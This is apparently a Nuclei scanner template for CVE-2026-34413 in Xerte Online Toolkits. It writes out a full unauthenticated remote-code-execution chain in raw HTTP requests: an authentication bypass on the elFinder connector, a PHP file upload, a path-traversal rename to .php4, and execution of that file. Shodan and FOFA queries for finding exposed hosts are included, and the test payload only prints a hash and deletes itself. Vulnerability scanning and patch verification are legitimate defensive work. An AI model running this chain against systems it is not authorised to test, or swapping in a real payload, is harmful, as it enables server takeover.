id: CVE-2026-34413

info:
  name: Xerte Online Toolkits <= 3.15 - Remote Code Execution
  author: Aryu-RU
  severity: critical
  description: |
    Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.
  impact: |
    An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits.
  remediation: |
    Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches.
  reference:
    - https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php
    - https://github.com/bootstrapbool/xerteonlinetoolkits-rce
    - https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34413
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34414
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-34413
    epss-score: 0.0311
    epss-percentile: 0.86482
    cwe-id: CWE-306
  metadata:
    verified: true
    vendor: xerte
    product: xerte_online_toolkits
    shodan-query: http.title:"Xerte Online Toolkits"
    fofa-query: title="Xerte Online Toolkits"
  tags: cve,cve2026,xerte,elfinder,rce,unauth,intrusive,file-upload

variables:
  num: "999999999"
  rand: "{{rand_text_alpha(8)}}"

flow: |
  http(1);
  if (template["webroot"]) {
    http(2);
    if (template["authbypass"]) {
      for (let pid = 1; pid <= 30; pid++) {
        set("pid", pid);
        http(3);
        http(4);
        http(5);
        if (http(6)) {
          break;
        }
      }
    }
  }

http:
  - raw:
      - |
        GET /setup/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: webroot
        part: body
        group: 1
        regex:
          - '<code>([^<]+)</code>'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Welcome to Xerte Online Toolkits Installer")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: authbypass
        part: body
        regex:
          - "Invalid upload location"
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(body, "Invalid upload location")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&name={{rand}}{{pid}}&target=l1_Lw HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(body, "added", "hash", "name")'
        condition: and
        internal: true

  - raw:
      - |
        POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----xerteboundary

        ------xerteboundary
        Content-Disposition: form-data; name="cmd"

        upload
        ------xerteboundary
        Content-Disposition: form-data; name="target"

        l1_Lw
        ------xerteboundary
        Content-Disposition: form-data; name="upload[]"; filename="{{rand}}{{pid}}.txt"
        Content-Type: text/plain

        <br><?php echo md5("{{num}}"); unlink(__FILE__); ?>
        ------xerteboundary--

    extractors:
      - type: regex
        name: fileid
        part: body
        group: 1
        regex:
          - '"hash":"(l1_[^"]+)"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(body, "added", "hash", "name")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&target={{fileid}}&name={{rand}}{{pid}}/../../../../{{rand}}{{pid}}.php4 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /{{rand}}{{pid}}.php4 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")'
        condition: and
# digest: 4a0a0047304502210091e435ef7c8cef53bf5e180273b7c797786b3f5b5e445848a226fcbdb3b21fba02201a33d392114ec077923aa200994c4bca29e7d9d094b0267f318d712f0eb2ca2b:922c64590222798bb761d5b6d8e72950